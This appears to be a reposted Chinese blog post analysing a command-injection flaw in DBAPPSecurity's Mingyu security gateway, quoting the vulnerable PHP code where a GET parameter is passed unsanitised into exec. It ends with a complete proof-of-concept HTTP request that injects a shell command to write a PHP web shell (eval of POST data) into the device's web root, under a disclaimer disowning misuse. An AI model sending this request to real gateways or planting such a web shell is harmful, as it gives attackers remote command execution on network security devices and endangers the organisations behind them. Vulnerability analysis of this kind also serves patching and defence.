安恒信息-明御安全网关 命令执行漏洞分析

目录

注意

漏洞描述

漏洞位置

漏洞代码

POC:


注意

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

漏洞描述

安恒信息-明御安全网关存在命令执行漏洞,导致攻击者可以直接执行系统命令,从而控制目标系统。

漏洞位置

/usr/local/webui/webui/modules/aaa/portal_auth.mds

漏洞代码

$portal_catalog = "/usr/local/webui/auth/portal";
...
//重置
if($get_url_param == "aaa_portal_auth_config_reset"){
	$type = $_GET['type'];
	$logo_type = $type.'_logo_pic';
	$bkg_type = $type.'_bkg_pic';

	$config = file_get_contents($portal_catalog."/config.txt");
	$config_arr = json_decode($config,true);

	$config_dft = file_get_contents($portal_catalog."/default_config.txt");
	$config_dft_arr = json_decode($config_dft,true);
	
	if($type == 'adv'){
		$config_arr[diff] = $config_dft_arr[diff];
	}
	$config_arr[$type] = $config_dft_arr[$type];

	//删除图片
	exec('rm '.$portal_catalog.'/'.$type.'/images/'.$type.'*');

	$new_config = json_encode($config_arr);
	file_put_contents($portal_catalog."/config.txt",$new_config);
	backupAuthFile($type);
	echo '{"reset":"'.$type.'"}';
}

分析上述代码如果 $get_url_param 等于 "aaa_portal_auth_config_reset",即可执行下面代码。

其中$get_url_param 通过$_GET['g']来获得。漏洞发生位置在exec('rm '.$portal_catalog.'/'.$type.' /images/'.$type.'*');其中$type通过 $_GET['type']来获得。从而可以截断代码,从而执行自己的命令。

POC:

GET /webui/?g=aaa_portal_auth_config_reset&type=1%3Becho%20'%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3Bulink(FILE)%3B%3F%3E'%20%3E%2Fusr%2Flocal%2Fwebui%2Ftest1.php%3B HTTP/1.1
Host: 
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

猜你喜欢

转载自blog.csdn.net/smli_ng/article/details/128301954